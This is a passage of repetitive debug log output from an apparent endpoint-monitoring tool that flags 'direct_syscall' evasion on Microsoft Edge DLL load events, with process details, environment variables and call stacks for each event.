(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4180345 + Pid: 7364 + Tid: 19332 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.010825 +0100 CET + Params: base_address➜ 7ffcc3c70000, checksum➜ 844872, default_address➜ 7ffcc3c70000, file_path➜ C:\Windows\System32\StructuredQuery.dll, image_size➜ 778240, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd7cb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd767dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd7679fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd7270a7 C:\Windows\System32\combase.dll!Ordinal178|0x7ffcdd72695d C:\Windows\System32\combase.dll!Ordinal232|0x7ffcdd767181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd681e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd680b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd7c836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffcdd7c2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffcdd70bb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffcdd70b91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffcd9a50f59 C:\Windows\System32\windows.storage.dll!DllCanUnloadNow|0x7ffcd98ad56b C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98adc6e C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98979d7 C:\Windows\System32\windows.storage.dll!CreateItemFromLink|0x7ffcd9ac7513 C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffcd9afea83 C:\Windows\System32\windows.storage.dll!AssocCreateListForClasses|0x7ffcd99a8a24 C:\Windows\System32\windows.storage.dll!STORAGE_SHGetDesktopFolderWorker|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4180368 + Pid: 7364 + Tid: 19332 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.0119328 +0100 CET + Params: base_address➜ 7ffcc8200000, checksum➜ 2775448, default_address➜ 7ffcc8200000, file_path➜ C:\Windows\System32\icu.dll, image_size➜ 2744320, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcdea6cf87 C:\Windows\System32\ntdll.dll!RtlFreeActivationContextStack|0x7ffcde9f63aa C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd7cb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd767dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd7679fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd7270a7 C:\Windows\System32\combase.dll!Ordinal178|0x7ffcdd72695d C:\Windows\System32\combase.dll!Ordinal232|0x7ffcdd767181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd681e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd680b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd7c836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffcdd7c2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffcdd70bb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffcdd70b91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffcd9a50f59 C:\Windows\System32\windows.storage.dll!DllCanUnloadNow|0x7ffcd98ad56b C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98adc6e C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98979d7 C:\Windows\System32\windows.storage.dll!CreateItemFromLink|0x7ffcd9ac7513 C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffcd9afea83 C:\Windows\System32\windows.storage.dll!AssocCreateListForClasses|0x7ffcd99a8a24 C:\Windows\System32\windows.storage.dll!STORAGE_SHGetDesktopFolderWorker|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4180464 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.172068 +0100 CET + Params: base_address➜ 7ffcdd460000, checksum➜ 111648, default_address➜ 7ffcdd460000, file_path➜ C:\Windows\System32\nsi.dll, image_size➜ 40960, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files 